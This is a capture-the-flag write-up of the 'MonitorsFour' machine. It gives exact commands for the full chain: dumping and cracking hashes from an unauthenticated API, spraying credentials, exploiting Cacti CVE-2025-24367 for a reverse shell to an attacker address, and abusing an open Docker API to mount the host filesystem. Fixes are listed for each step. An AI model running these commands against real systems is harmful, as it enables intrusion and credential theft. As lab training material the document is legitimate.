MonitorsFour
Summary
I scanned the target and discovered an nginx reverse proxy serving two virtual hosts: a corporate portal and a Cacti 1.2.28 monitoring dashboard. An unauthenticated REST API endpoint on the corporate site returned the full user table — usernames and unsalted MD5 password hashes — to anyone who passed a dummy token. Offline cracking with hashcat and the rockyou wordlist recovered the password [REDACTED: recovered credential] in seconds.
That same password was in use on the Cacti application under a different account (marcus), so a credential spray unlocked authenticated Cacti access. Authenticated access to Cacti 1.2.28 enabled exploitation of CVE-2025-24367, a graph-template command-injection flaw that delivered a reverse shell as the Cacti service account and yielded the user flag. From inside the container, I discovered the Docker Desktop host gateway exposed an entirely unauthenticated Docker Engine API on port 2375.
Using that API, a new Alpine container was created with the Windows host root filesystem bind-mounted, exposing the Administrator desktop and the root flag — full host compromise achieved through configuration failures alone, with no Windows exploit required.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -p- --min-rate 3000 -Pn -T4 $TARGETecho "$TARGET monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hostscurl -si http://monitorsfour.htb/ | head -20Exact commands 2
curl -s 'http://monitorsfour.htb/api/v1/users?token=0'curl -s 'http://monitorsfour.htb/api/v1/users?token=0' | python3 -m json.toolFixRequire authentication on all API endpoints and remove password hashes from responsesCritical
Exact commands 2
hashcat -m 0 --username hashes.txt /usr/share/wordlists/rockyou.txthashcat -m 0 --username hashes.txt /usr/share/wordlists/rockyou.txt --showFixReplace MD5 password hashing with a modern slow-hash algorithmCritical
Exact commands 2
curl -si -c cacti.jar -X POST 'http://cacti.monitorsfour.htb/cacti/index.php' --data 'action=login&login_username=marcus&login_password=$PASSWORD3' | grep -i 'location\|set-cookie'nxc http cacti.monitorsfour.htb -u admin,marcus,mwatson,janderson,dthompson -p $PASSWORD3 --path /cacti/index.phpFixEnforce unique passwords across all internal services and integrate with a central identity providerHigh
Exact commands 4
nc -lvnp 4448git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC /tmp/CVE-2025-24367-Cacti-PoCpython3 /tmp/CVE-2025-24367-Cacti-PoC/exploit.py -u marcus -p $PASSWORD3 -i $ATTACKER_IP -l 4448 -url http://cacti.monitorsfour.htbcat /home/marcus/user.txtFixPatch Cacti to version 1.2.29 or later to remediate CVE-2025-24367Critical
Exact commands 3
curl -s http://$INTERNAL_HOST:2375/versioncurl -s "http://$INTERNAL_HOST:2375/containers/json?all=1"curl -s "http://$INTERNAL_HOST:2375/images/json"FixDisable the unauthenticated Docker Engine TCP socket and block container-to-host API accessCritical
Exact commands 3
curl -s -X POST http://$INTERNAL_HOST:2375/containers/create -H 'Content-Type: application/json' -d '{"Image":"alpine:latest","Cmd":["sh","-c","cat /host/Users/Administrator/Desktop/root.txt"],"HostConfig":{"Binds":["/:/host"]}}'curl -s -X POST "http://$INTERNAL_HOST:2375/containers/<container_id>/start"curl -s "http://$INTERNAL_HOST:2375/containers/<container_id>/logs?stdout=1&stderr=1"Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 80/tcp | http nginx |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |